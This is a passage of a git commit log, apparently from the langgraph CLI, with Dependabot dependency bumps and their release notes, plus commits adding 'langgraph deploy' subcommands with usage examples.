href="https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/12112">#12112</a>)</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/fc5cd09de85600134ca0885ad5cdcedcddcd20ba"><code>fc5cd09</code></a> fix(eslint-plugin): guard against negative paramIndex in no-useless-default-a...</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/adc2aad848fe1ac8044ba4a8d84daf8bb1939ced"><code>adc2aad</code></a> fix(eslint-plugin): handle statically analyzable computed keys in prefer-read...</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/85badfffbf38730772afbffaa6d024592752664a"><code>85badff</code></a> fix(eslint-plugin): [strict-void-return] false positives with overloads (<a href="https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/12055">#12055</a>)</li> <li>Additional commits viewable in <a href="https://github.com/typescript-eslint/typescript-eslint/commits/v8.57.0/packages/eslint-plugin">compare view</a></li> </ul> </details> <br /> Updates `@typescript-eslint/parser` from 8.56.1 to 8.57.0 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/releases"><code>@​typescript-eslint/parser</code>'s releases</a>.</em></p> <blockquote> <h2>v8.57.0</h2> <h2>8.57.0 (2026-03-09)</h2> <h3>🚀 Features</h3> <ul> <li><strong>eslint-plugin:</strong> [no-unnecessary-condition] allow literal loop conditions in for/do loops (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12080">#12080</a>)</li> </ul> <h3>🩹 Fixes</h3> <ul> <li><strong>eslint-plugin:</strong> [strict-void-return] false positives with overloads (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12055">#12055</a>)</li> <li><strong>eslint-plugin:</strong> handle statically analyzable computed keys in prefer-readonly (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12079">#12079</a>)</li> <li><strong>eslint-plugin:</strong> guard against negative paramIndex in no-useless-default-assignment (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12077">#12077</a>)</li> <li><strong>eslint-plugin:</strong> [prefer-promise-reject-errors] add allow <code>TypeOrValueSpecifier</code> to prefer-promise-reject-errors (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12094">#12094</a>)</li> <li><strong>eslint-plugin:</strong> [no-base-to-string] fix false positive for toString with overloads (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12089">#12089</a>)</li> <li><strong>typescript-estree:</strong> switch back to use <code>ts.getModifiers()</code> (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12034">#12034</a>)</li> <li><strong>typescript-estree:</strong> if the template literal is tagged and the text has an invalid escape, <code>cooked</code> will be <code>null</code> (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11355">#11355</a>)</li> </ul> <h3>❤️ Thank You</h3> <ul> <li>Brad Zacher <a href="https://github.com/bradzacher"><code>@​bradzacher</code></a></li> <li>Brian Schlenker <a href="https://github.com/bschlenk"><code>@​bschlenk</code></a></li> <li>Evyatar Daud <a href="https://github.com/StyleShit"><code>@​StyleShit</code></a></li> <li>fisker Cheung <a href="https://github.com/fisker"><code>@​fisker</code></a></li> <li>James Henry <a href="https://github.com/JamesHenry"><code>@​JamesHenry</code></a></li> <li>Josh Goldberg</li> <li>Kirk Waiblinger <a href="https://github.com/kirkwaiblinger"><code>@​kirkwaiblinger</code></a></li> <li>Moses Odutusin <a href="https://github.com/thebolarin"><code>@​thebolarin</code></a></li> <li>Newton Yuan <a href="https://github.com/NewtonYuan"><code>@​NewtonYuan</code></a></li> <li>SungHyun627 <a href="https://github.com/SungHyun627"><code>@​SungHyun627</code></a></li> <li>Younsang Na <a href="https://github.com/nayounsang"><code>@​nayounsang</code></a></li> </ul> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.57.0">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/parser/CHANGELOG.md"><code>@​typescript-eslint/parser</code>'s changelog</a>.</em></p> <blockquote> <h2>8.57.0 (2026-03-09)</h2> <p>This was a version bump only for parser to align it with other projects, there were no code changes.</p> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.57.0">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/2c6aeeec238dfea860b9f3c146a55f8f49f15cf5"><code>2c6aeee</code></a> chore(release): publish 8.57.0</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/f696dadfc37078efe4119ad2ab0609cde3e42766"><code>f696dad</code></a> chore: use pnpm catalog (<a href="https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser/issues/12047">#12047</a>)</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/a09921e2de2e8790e6a803016b825815ca9409d8"><code>a09921e</code></a> chore: update vitest to 4.x (<a href="https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser/issues/12071">#12071</a>)</li> <li>See full diff in <a href="https://github.com/typescript-eslint/typescript-eslint/commits/v8.57.0/packages/parser">compare view</a></li> </ul> </details> <br /> Updates `jest` from 30.2.0 to 30.3.0 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/jestjs/jest/releases">jest's releases</a>.</em></p> <blockquote> <h2>v30.3.0</h2> <h3>Features</h3> <ul> <li><code>[jest-config]</code> Add <code>defineConfig</code> and <code>mergeConfig</code> helpers for type-safe Jest config (<a href="https://redirect.github.com/jestjs/jest/pull/15844">#15844</a>)</li> <li><code>[jest-fake-timers]</code> Add <code>setTimerTickMode</code> to configure how timers advance</li> <li><code>[*]</code> Reduce token usage when run through LLMs (<a href="https://github.com/jestjs/jest/commit/3f17932061c0203999451e5852664093de876709"><code>3f17932</code></a>)</li> </ul> <h3>Fixes</h3> <ul> <li><code>[jest-config]</code> Keep CLI coverage output when using <code>--json</code> with <code>--outputFile</code> (<a href="https://redirect.github.com/jestjs/jest/pull/15918">#15918</a>)</li> <li><code>[jest-mock]</code> Use <code>Symbol</code> from test environment (<a href="https://redirect.github.com/jestjs/jest/pull/15858">#15858</a>)</li> <li><code>[jest-reporters]</code> Fix issue where console output not displayed for GHA reporter even with <code>silent: false</code> option (<a href="https://redirect.github.com/jestjs/jest/pull/15864">#15864</a>)</li> <li><code>[jest-runtime]</code> Fix issue where user cannot utilize dynamic import despite specifying <code>--experimental-vm-modules</code> Node option (<a href="https://redirect.github.com/jestjs/jest/pull/15842">#15842</a>)</li> <li><code>[jest-test-sequencer]</code> Fix issue where failed tests due to compilation errors not getting re-executed even with <code>--onlyFailures</code> CLI option (<a href="https://redirect.github.com/jestjs/jest/pull/15851">#15851</a>)</li> <li><code>[jest-util]</code> Make sure <code>process.features.require_module</code> is <code>false</code> (<a href="https://redirect.github.com/jestjs/jest/pull/15867">#15867</a>)</li> </ul> <h3>Chore &amp; Maintenance</h3> <ul> <li><code>[*]</code> Replace remaining micromatch uses with picomatch</li> <li><code>[deps]</code> Update to sinon/fake-timers v15</li> <li><code>[docs]</code> Update V30 migration guide to notify users on <code>jest.mock()</code> work with case-sensitive path (<a href="https://redirect.github.com/jestjs/jest/pull/15849">#15849</a>)</li> <li>Updated Twitter icon to match the latest brand guidelines (<a href="https://redirect.github.com/jestjs/jest/pull/15869">#15869</a>)</li> </ul> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/jestjs/jest/blob/main/CHANGELOG.md">jest's changelog</a>.</em></p> <blockquote> <h2>30.3.0</h2> <h3>Features</h3> <ul> <li><code>[jest-config]</code> Add <code>defineConfig</code> and <code>mergeConfig</code> helpers for type-safe Jest config (<a href="https://redirect.github.com/jestjs/jest/pull/15844">#15844</a>)</li> <li><code>[jest-fake-timers]</code> Add <code>setTimerTickMode</code> to configure how timers advance</li> <li><code>[*]</code> Reduce token usage when run through LLMs (<a href="https://github.com/jestjs/jest/commit/3f17932061c0203999451e5852664093de876709"><code>3f17932</code></a>)</li> </ul> <h3>Fixes</h3> <ul> <li><code>[jest-config]</code> Keep CLI coverage output when using <code>--json</code> with <code>--outputFile</code> (<a href="https://redirect.github.com/jestjs/jest/pull/15918">#15918</a>)</li> <li><code>[jest-mock]</code> Use <code>Symbol</code> from test environment (<a href="https://redirect.github.com/jestjs/jest/pull/15858">#15858</a>)</li> <li><code>[jest-reporters]</code> Fix issue where console output not displayed for GHA reporter even with <code>silent: false</code> option (<a href="https://redirect.github.com/jestjs/jest/pull/15864">#15864</a>)</li> <li><code>[jest-runtime]</code> Fix issue where user cannot utilize dynamic import despite specifying <code>--experimental-vm-modules</code> Node option (<a href="https://redirect.github.com/jestjs/jest/pull/15842">#15842</a>)</li> <li><code>[jest-test-sequencer]</code> Fix issue where failed tests due to compilation errors not getting re-executed even with <code>--onlyFailures</code> CLI option (<a href="https://redirect.github.com/jestjs/jest/pull/15851">#15851</a>)</li> <li><code>[jest-util]</code> Make sure <code>process.features.require_module</code> is <code>false</code> (<a href="https://redirect.github.com/jestjs/jest/pull/15867">#15867</a>)</li> </ul> <h3>Chore &amp; Maintenance</h3> <ul> <li><code>[*]</code> Replace remaining micromatch uses with picomatch</li> <li><code>[deps]</code> Update to sinon/fake-timers v15</li> <li><code>[docs]</code> Update V30 migration guide to notify users on <code>jest.mock()</code> work with case-sensitive path (<a href="https://redirect.github.com/jestjs/jest/pull/15849">#15849</a>)</li> <li>Updated Twitter icon to match the latest brand guidelines (<a href="https://redirect.github.com/jestjs/jest/pull/15869">#15869</a>)</li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/jestjs/jest/commit/efb59c2e81083f8dc941f20d6d20a3af2dc8d068"><code>efb59c2</code></a> v30.3.0</li> <li><a href="https://github.com/jestjs/jest/commit/96c53d30660e51bf76ed2cd1ecc2334c399ac31c"><code>96c53d3</code></a> feat(jest-config): add <code>defineConfig</code> and <code>mergeConfig</code> functions (<a href="https://github.com/jestjs/jest/tree/HEAD/packages/jest/issues/15844">#15844</a>)</li> <li>See full diff in <a href="https://github.com/jestjs/jest/commits/v30.3.0/packages/jest">compare view</a></li> </ul> </details> <br /> Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) --- <details> <summary>Dependabot commands and options</summary> <br /> You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore <dependency name> major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself) - `@dependabot ignore <dependency name> minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself) - `@dependabot ignore <dependency name>` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself) - `@dependabot unignore <dependency name>` will remove all of the ignore conditions of the specified dependency - `@dependabot unignore <dependency name> <ignore condition>` will remove the ignore condition of the specified dependency and ignore conditions </details> Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>	2026-03-17 13:05:27 -07:00
3 people	469b5f5535	chore(deps): bump langgraph to 1.1.2 in cli example fixtures (#7211) ... ## Summary - Bumps `langgraph` from stale pinned versions (`1.0.8` / `1.0.0a2`) to `1.1.2` in three CLI example fixture directories - Supersedes dependabot PR #7090 which only got as far as `1.0.10rc1` ## Affected files - `libs/cli/examples/graph_prerelease_reqs/pyproject.toml`: `1.0.8` → `1.1.2` - `libs/cli/examples/graph_prerelease_reqs/deps/additional_deps/pyproject.toml`: `1.0.8` → `1.1.2` - `libs/cli/examples/graph_prerelease_reqs_fail/pyproject.toml`: `1.0.0a2` → `1.1.2` Closes #7090 🤖 Generated with [Claude Code](https://claude.com/claude-code) --------- Co-authored-by: Claude <noreply@anthropic.com>	2026-03-17 19:43:22 +00:00
3 people	0b69b97d31	chore(deps): bump pyjwt from 2.11.0 to 2.12.0 in /libs/cli (#7169) ... Bumps [pyjwt](https://github.com/jpadilla/pyjwt) from 2.11.0 to 2.12.0. <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/jpadilla/pyjwt/releases">pyjwt's releases</a>.</em></p> <blockquote> <h2>2.12.0</h2> <h2>Security</h2> <ul> <li>Validate the crit (Critical) Header Parameter defined in RFC 7515 §4.1.11. by <a href="https://github.com/dmbs335"><code>@​dmbs335</code></a> in <a href="https://github.com/jpadilla/pyjwt/security/advisories/GHSA-752w-5fwx-jx9f">GHSA-752w-5fwx-jx9f</a></li> </ul> <h2>What's Changed</h2> <ul> <li>[pre-commit.ci] pre-commit autoupdate by <a href="https://github.com/pre-commit-ci"><code>@​pre-commit-ci</code></a>[bot] in <a href="https://redirect.github.com/jpadilla/pyjwt/pull/1132">jpadilla/pyjwt#1132</a></li> <li>chore(docs): fix docs build by <a href="https://github.com/tamird"><code>@​tamird</code></a> in <a href="https://redirect.github.com/jpadilla/pyjwt/pull/1137">jpadilla/pyjwt#1137</a></li> <li>Annotate PyJWKSet.keys for pyright by <a href="https://github.com/tamird"><code>@​tamird</code></a> in <a href="https://redirect.github.com/jpadilla/pyjwt/pull/1134">jpadilla/pyjwt#1134</a></li> <li>fix: close HTTPError to prevent ResourceWarning on Python 3.14 by <a href="https://github.com/veeceey"><code>@​veeceey</code></a> in <a href="https://redirect.github.com/jpadilla/pyjwt/pull/1133">jpadilla/pyjwt#1133</a></li> <li>chore: remove superfluous constants by <a href="https://github.com/tamird"><code>@​tamird</code></a> in <a href="https://redirect.github.com/jpadilla/pyjwt/pull/1136">jpadilla/pyjwt#1136</a></li> <li>[pre-commit.ci] pre-commit autoupdate by <a href="https://github.com/pre-commit-ci"><code>@​pre-commit-ci</code></a>[bot] in <a href="https://redirect.github.com/jpadilla/pyjwt/pull/1135">jpadilla/pyjwt#1135</a></li> <li>chore(tests): enable mypy by <a href="https://github.com/tamird"><code>@​tamird</code></a> in <a href="https://redirect.github.com/jpadilla/pyjwt/pull/1138">jpadilla/pyjwt#1138</a></li> <li>Bump actions/download-artifact from 7 to 8 by <a href="https://github.com/dependabot"><code>@​dependabot</code></a>[bot] in <a href="https://redirect.github.com/jpadilla/pyjwt/pull/1142">jpadilla/pyjwt#1142</a></li> <li>[pre-commit.ci] pre-commit autoupdate by <a href="https://github.com/pre-commit-ci"><code>@​pre-commit-ci</code></a>[bot] in <a href="https://redirect.github.com/jpadilla/pyjwt/pull/1141">jpadilla/pyjwt#1141</a></li> <li>[pre-commit.ci] pre-commit autoupdate by <a href="https://github.com/pre-commit-ci"><code>@​pre-commit-ci</code></a>[bot] in <a href="https://redirect.github.com/jpadilla/pyjwt/pull/1145">jpadilla/pyjwt#1145</a></li> <li>fix: do not store reference to algorithms dict on PyJWK by <a href="https://github.com/akx"><code>@​akx</code></a> in <a href="https://redirect.github.com/jpadilla/pyjwt/pull/1143">jpadilla/pyjwt#1143</a></li> <li>Use PyJWK algorithm when encoding without explicit algorithm by <a href="https://github.com/jpadilla"><code>@​jpadilla</code></a> in <a href="https://redirect.github.com/jpadilla/pyjwt/pull/1148">jpadilla/pyjwt#1148</a></li> </ul> <h2>New Contributors</h2> <ul> <li><a href="https://github.com/tamird"><code>@​tamird</code></a> made their first contribution in <a href="https://redirect.github.com/jpadilla/pyjwt/pull/1137">jpadilla/pyjwt#1137</a></li> <li><a href="https://github.com/veeceey"><code>@​veeceey</code></a> made their first contribution in <a href="https://redirect.github.com/jpadilla/pyjwt/pull/1133">jpadilla/pyjwt#1133</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/jpadilla/pyjwt/compare/2.11.0...2.12.0">https://github.com/jpadilla/pyjwt/compare/2.11.0...2.12.0</a></p> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/jpadilla/pyjwt/blob/master/CHANGELOG.rst">pyjwt's changelog</a>.</em></p> <blockquote> <h2><code>v2.12.0 &lt;https://github.com/jpadilla/pyjwt/compare/2.11.0...2.12.0&gt;</code>__</h2> <p>Fixed</p> <pre><code> - Annotate PyJWKSet.keys for pyright by @tamird in `[#1134](https://github.com/jpadilla/pyjwt/issues/1134) &lt;https://github.com/jpadilla/pyjwt/pull/1134&gt;`__ - Close ``HTTPError`` response to prevent ``ResourceWarning`` on Python 3.14 by @veeceey in `[#1133](https://github.com/jpadilla/pyjwt/issues/1133) &lt;https://github.com/jpadilla/pyjwt/pull/1133&gt;`__ - Do not keep ``algorithms`` dict in PyJWK instances by @akx in `[#1143](https://github.com/jpadilla/pyjwt/issues/1143) &lt;https://github.com/jpadilla/pyjwt/pull/1143&gt;`__ - Validate the crit (Critical) Header Parameter defined in RFC 7515 §4.1.11. by @dmbs335 in `GHSA-752w-5fwx-jx9f &lt;https://github.com/jpadilla/pyjwt/security/advisories/GHSA-752w-5fwx-jx9f&gt;`__ - Use PyJWK algorithm when encoding without explicit algorithm in `[#1148](https://github.com/jpadilla/pyjwt/issues/1148) &lt;https://github.com/jpadilla/pyjwt/pull/1148&gt;`__ <p>Added </code></pre></p> <ul> <li>Docs: Add <code>PyJWKClient</code> API reference and document the two-tier caching system (JWK Set cache and signing key LRU cache).</li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/jpadilla/pyjwt/commit/bd9700cca7f9258fadcc429c1034e508025931f2"><code>bd9700c</code></a> Use PyJWK algorithm when encoding without explicit algorithm (<a href="https://redirect.github.com/jpadilla/pyjwt/issues/1148">#1148</a>)</li> <li><a href="https://github.com/jpadilla/pyjwt/commit/051ea341b5573fe3edcd53042f347929b92c2b92"><code>051ea34</code></a> Merge commit from fork</li> <li><a href="https://github.com/jpadilla/pyjwt/commit/1451d70eca2059bc472703692f0bb0777bc0fe93"><code>1451d70</code></a> fix: do not store reference to algorithms dict on PyJWK (<a href="https://redirect.github.com/jpadilla/pyjwt/issues/1143">#1143</a>)</li> <li><a href="https://github.com/jpadilla/pyjwt/commit/f3ba74c106df9ce10e272dfaad96acb4ab3ef5a5"><code>f3ba74c</code></a> [pre-commit.ci] pre-commit autoupdate (<a href="https://redirect.github.com/jpadilla/pyjwt/issues/1145">#1145</a>)</li> <li><a href="https://github.com/jpadilla/pyjwt/commit/0318ffa7b156b01600376e38952bf961382e0724"><code>0318ffa</code></a> [pre-commit.ci] pre-commit autoupdate (<a href="https://redirect.github.com/jpadilla/pyjwt/issues/1141">#1141</a>)</li> <li><a href="https://github.com/jpadilla/pyjwt/commit/a52753db3c1075ac01337fa8b7cc92b13a19ac09"><code>a52753d</code></a> Bump actions/download-artifact from 7 to 8 (<a href="https://redirect.github.com/jpadilla/pyjwt/issues/1142">#1142</a>)</li> <li><a href="https://github.com/jpadilla/pyjwt/commit/b85050f1d444c6828bb4618ee764443b0a3f5d18"><code>b85050f</code></a> chore(tests): enable mypy (<a href="https://redirect.github.com/jpadilla/pyjwt/issues/1138">#1138</a>)</li> <li><a href="https://github.com/jpadilla/pyjwt/commit/1272b264779717cc481c8341f321a7fc8b3aaba6"><code>1272b26</code></a> [pre-commit.ci] pre-commit autoupdate (<a href="https://redirect.github.com/jpadilla/pyjwt/issues/1135">#1135</a>)</li> <li><a href="https://github.com/jpadilla/pyjwt/commit/99a87287c26cb97c94399084ee4186ee52207a7f"><code>99a8728</code></a> chore: remove superfluous constants (<a href="https://redirect.github.com/jpadilla/pyjwt/issues/1136">#1136</a>)</li> <li><a href="https://github.com/jpadilla/pyjwt/commit/412cb67a93363812ae4029d6a95f5d4d40ab2609"><code>412cb67</code></a> fix: close HTTPError to prevent ResourceWarning on Python 3.14 (<a href="https://redirect.github.com/jpadilla/pyjwt/issues/1133">#1133</a>)</li> <li>Additional commits viewable in <a href="https://github.com/jpadilla/pyjwt/compare/2.11.0...2.12.0">compare view</a></li> </ul> </details> <br /> [](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores) Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) --- <details> <summary>Dependabot commands and options</summary> <br /> You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/langchain-ai/langgraph/network/alerts). </details> Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>	2026-03-15 21:05:57 -07:00
William FHandGitHub	8f62374658	release(cli): 0.4.18 (#7186)	2026-03-15 16:53:39 -07:00
William FHandGitHub	bec531980d	chore: update error message (#7185)	2026-03-15 16:46:15 -07:00
3 people	cd7961b051	release(cli): 0.4.17 (#7166) ... release new templates --------- Co-authored-by: William Fu-Hinthorn <13333726+hinthornw@users.noreply.github.com>	2026-03-13 16:07:27 -04:00
hari-dhanushkodiandGitHub	c315dd000f	feat(cli): new deep agent templates (#7165)	2026-03-13 10:35:52 -07:00
hari-dhanushkodiandGitHub	4759b2464f	release(cli): 0.4.16 (#7151)	2026-03-12 16:26:16 -07:00
hari-dhanushkodiandGitHub	16ab8544b2	fix(cli): use --tag for langgraph deploy (#7148) ... langgraph deploy should use the `--tag/-t` instead of `--image-tag`. This matches langgraph build	2026-03-12 15:58:08 -07:00
hari-dhanushkodiandGitHub	93a0dfec08	fix(cli): cleanup client creation code (#7140) ... make following fixes for deploy cli: - allow logs command to read in `_DEPLOYMENT_NAME_ENV` - change prompt for api key to be more user friendly - refactor prompt for org scoped keys - make sure --config option is documented in deploy help	2026-03-12 11:40:49 -07:00
3 people	96199c4fee	feat(cli): add langgraph deploy logs subcommand (#7100) ... Add a `langgraph deploy logs` subcommand to fetch build and deploy/server logs from LangSmith deployments. ## Changes - **`host_backend.py`**: Add `get_build_logs()` and `get_deploy_logs()` methods, plus `langsmith_url` support. - **`helpers.py`** (new): Log formatting (`format_log_entry`, `format_timestamp`, `level_fg`) and resolution helpers (`resolve_deployment_id`). ## Usage ```bash # Deploy logs (latest 10) langgraph deploy logs --deployment-id <id> --limit 10 # Error logs by name langgraph deploy logs --name gtm-agent --level ERROR # Build logs langgraph deploy logs --deployment-id <id> --type build # Tail logs (Ctrl+C to stop) langgraph deploy logs --name gtm-agent --follow ``` ## Tests 56 unit tests passing covering host backend methods, log formatting, and helper functions. --------- Co-authored-by: hari-dhanushkodi <hari@langchain.dev>	2026-03-12 09:01:44 -07:00
hari-dhanushkodiandGitHub	d595f11b43	feat(cli): add deploy list and deploy delete subcommands (#7118) ... ### Summary This PR introduces a subcommand implementation that allows `langgraph deploy list` and `langgraph deploy delete` subcommands. #### `langgraph deploy list` ```bash (env) andrewnguonly@Andrew-Nguonly-KC23X90J02 langgraph % langgraph deploy list --help ⎈ gke_langchain-test-387119_us-west1_langgraph-cloud-us-west1 Usage: langgraph deploy list [OPTIONS] [Beta] List LangSmith Deployments. Options: --name-contains TEXT Only show deployments whose names contain this value. --api-key TEXT API key. Can also be set via LANGGRAPH_HOST_API_KEY, LANGSMITH_API_KEY, or LANGCHAIN_API_KEY environment variable or .env file. --help Show this message and exit. ``` Output example: ```bash (env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy list Deployment ID Deployment Name Deployment URL ------------------------------------ -------------------------- ------------------------------------------------------------------------------------ a40d6567-87c0-485a-a23d-94309a7d4519 ht-andrew-test-04 - 9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc ht-anirudh-deployment-test https://ht-anirudh-deployment-test-428af4737f8a533cb2b107587eb8f38f.us.langgraph.app/ ``` #### `langgraph deploy delete` ```bash (env) andrewnguonly@Andrew-Nguonly-KC23X90J02 langgraph % langgraph deploy delete --help ⎈ gke_langchain-test-387119_us-west1_langgraph-cloud-us-west1 Usage: langgraph deploy delete [OPTIONS] DEPLOYMENT_ID [Beta] Delete a LangSmith Deployment. Options: --force Delete without prompting for confirmation. --api-key TEXT API key. Can also be set via LANGGRAPH_HOST_API_KEY, LANGSMITH_API_KEY, or LANGCHAIN_API_KEY environment variable or .env file. --help Show this message and exit. ``` Output example: ```bash (env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete a40d6567-87c0-485a-a23d-94309a7d4519 Are you sure you want to delete deployment ID a40d6567-87c0-485a-a23d-94309a7d4519? (Y/n): Y Host API key: Deleted deployment a40d6567-87c0-485a-a23d-94309a7d4519. ``` ```bash (env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete a40d6567-87c0-485a-a23d-94309a7d4519 Are you sure you want to delete deployment ID a40d6567-87c0-485a-a23d-94309a7d4519? (Y/n): n Aborted! ``` ```bash (env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete 9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc --force Host API key: Deleted deployment 9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc. ```	2026-03-11 15:33:32 -07:00
Andrew NguonlyandGitHub	7488cf2448	fix: Revert "feat(cli): Add deploy list and deploy delete subcommands" (#7116) ... Reverts langchain-ai/langgraph#7106 This PR broke the `langgraph deploy` command flags.	2026-03-11 10:56:31 -07:00
Andrew NguonlyandGitHub	e77201cbb1	feat(cli): Add deploy list and deploy delete subcommands (#7106) ... ### Summary This PR introduces a subcommand implementation that allows `langgraph deploy list` and `langgraph deploy delete` subcommands. #### `langgraph deploy list` ```bash (env) andrewnguonly@Andrew-Nguonly-KC23X90J02 langgraph % langgraph deploy list --help ⎈ gke_langchain-test-387119_us-west1_langgraph-cloud-us-west1 Usage: langgraph deploy list [OPTIONS] [Beta] List LangSmith Deployments. Options: --name-contains TEXT Only show deployments whose names contain this value. --api-key TEXT API key. Can also be set via LANGGRAPH_HOST_API_KEY, LANGSMITH_API_KEY, or LANGCHAIN_API_KEY environment variable or .env file. --help Show this message and exit. ``` Output example: ```bash (env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy list Deployment ID Deployment Name Deployment URL ------------------------------------ -------------------------- ------------------------------------------------------------------------------------ a40d6567-87c0-485a-a23d-94309a7d4519 ht-andrew-test-04 - 9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc ht-anirudh-deployment-test https://ht-anirudh-deployment-test-428af4737f8a533cb2b107587eb8f38f.us.langgraph.app ``` #### `langgraph deploy delete` ```bash (env) andrewnguonly@Andrew-Nguonly-KC23X90J02 langgraph % langgraph deploy delete --help ⎈ gke_langchain-test-387119_us-west1_langgraph-cloud-us-west1 Usage: langgraph deploy delete [OPTIONS] DEPLOYMENT_ID [Beta] Delete a LangSmith Deployment. Options: --force Delete without prompting for confirmation. --api-key TEXT API key. Can also be set via LANGGRAPH_HOST_API_KEY, LANGSMITH_API_KEY, or LANGCHAIN_API_KEY environment variable or .env file. --help Show this message and exit. ``` Output example: ```bash (env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete a40d6567-87c0-485a-a23d-94309a7d4519 Are you sure you want to delete deployment ID a40d6567-87c0-485a-a23d-94309a7d4519? (Y/n): Y Host API key: Deleted deployment a40d6567-87c0-485a-a23d-94309a7d4519. ``` ```bash (env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete a40d6567-87c0-485a-a23d-94309a7d4519 Are you sure you want to delete deployment ID a40d6567-87c0-485a-a23d-94309a7d4519? (Y/n): n Aborted! ``` ```bash (env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete 9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc --force Host API key: Deleted deployment 9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc. ```	2026-03-11 09:12:17 -07:00
Quanzheng LongandGitHub	4ef61690c6	feat(cli): add distributed runtime support to langgraph cli (#7096)	2026-03-09 20:43:45 -07:00
William FHandGitHub	2638ff715a	release(cli): 0.4.15 (#7095)	2026-03-09 18:13:45 -07:00
3 people	65117979b4	feat(cli): add langgraph deploy (#7004) ... Allow users to deploy to langsmith deployments from the langgraph-cli. This PR makes the following changes: 1. Add a simple host backend client with httpx 2. Adjust `progress.py` to show elapsed time for commands, and also use threading.Event to stop the spinner 3. Adjust `_build` to allow arbitrary command so we can pass `docker buildx build` and default to `docker build` 4. Add new `deploy` command, this re-uses a lot of the `langgraph build` functionality, and then uses the new host-backend client to push the built image to langsmith deployments. --------- Co-authored-by: David Asamu <david.asamu@langchain.dev>	2026-03-09 18:11:34 -07:00
